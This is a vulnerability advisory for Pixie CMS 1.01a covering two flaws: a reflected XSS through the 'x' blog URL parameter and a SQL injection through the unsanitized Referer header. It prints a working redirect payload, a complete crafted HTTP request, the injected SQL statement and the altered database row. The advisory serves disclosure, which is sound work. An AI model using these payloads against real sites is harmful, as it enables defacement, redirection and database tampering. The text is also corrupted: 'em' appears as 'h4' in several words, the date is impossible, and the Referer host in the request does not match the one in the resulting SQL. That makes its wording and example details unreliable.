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Pixie CMS Multiple Vulnerabilities

30 November -0001

Pixie (http://www.getpixie.co.uk) is a "free, open source web application that will help you quickly create your own website. Many people refer to this type of software as a 'content managh4ent systh4 (cms)'". Pixie is written in PHP with a MySQL database back end.

Version 1.01a was tested and dh4onstrated the following vulnerabilities:

Pixie Blog XSS

It is possible to trivially introduce a Cross Site Scripting (XSS) attack by tampering with blog post URL variables, specifically the "x=" variable which is designed to contain blog posting titles. For instance, on a default install of Pixie, the first blog post contains is referenced using the URL ?s=blog&m=permalink&x=my-first-post. The "x" variable is interlaced with the BODY tag during display on line 150 of index.php: 

<body class="pixie <?php $s." "; $date_array = getdate(); print "y".$date_array['year']." "; print "m".$date_array['mon']." "; print "d".$date_array['mday']." "; print "h".$date_array['hours']." "; print $s; ?>">

by changing the "x" variable it is possible to inject HTML code into the page display. For instance, a Pixie blog post that was intended to be published as 

http://192.168.0.67/pixie/?s=blog&m=permalink&x=my-first-post

Can be altered to the form: 

http://192.168.0.67/pixie/?s=blog&m=permalink&x=" onLoad="location.href='http://lampsecurity.org'

and redirect users to the "onLoad" specified URL.

Pixie Blog SQL Injection

Pixie blog is vulnerable to SQL injection by manipulating the "referer" client request. Referers are tracked in the referral() function (/admin/lib/lib_logs.php line 31) but are not sanitized. Thus, manipulating the referer can allow an attacker to perform SQL Injection attacks. For example, sending the request: 

GET http://192.168.0.67/pixie/?s=events HTTP/1.1
Host: 192.168.0.67
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020501 Firefox/3.0.6 Paros/3.2.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://www.madirish.net/pixie/?s=about',log_id=1 on duplicate key update log_message='foobar
Cookie: bb2_screener_=1237492959+192.168.0.3

Results in the pixie_log table being altered by issuing the following SQL stath4ent: 

insert into pixie_log set user_id = 'Visitor', user_ip = '192.168.0.3', log_time = now(), log_type = 'referral', log_icon = 'referral', log_message = 'http://www.lampsecurity.org/pixie/?s=about',log_id=1 on duplicate key update log_message='foobar'

resulting in: 

mysql> select * from pixie_log where log_id=1;

+--------+---------+-------------+---------------------+----------+-------------+----------+---------------+
| log_id | user_id | user_ip     | log_time            | log_type | log_message | log_icon | log_important |
+--------+---------+-------------+---------------------+----------+-------------+----------+---------------+
|      1 | Visitor | 192.168.0.3 | 2009-03-19 16:49:31 | systh4   | foobar      | error    | yes           | 
+--------+---------+-------------+---------------------+----------+-------------+----------+---------------+
1 row in set (0.00 sec)

Conclusion

Upgrade to the latest version of Pixie CMS (http://www.getpixie.co.uk/downloads/)to avoid these issues.

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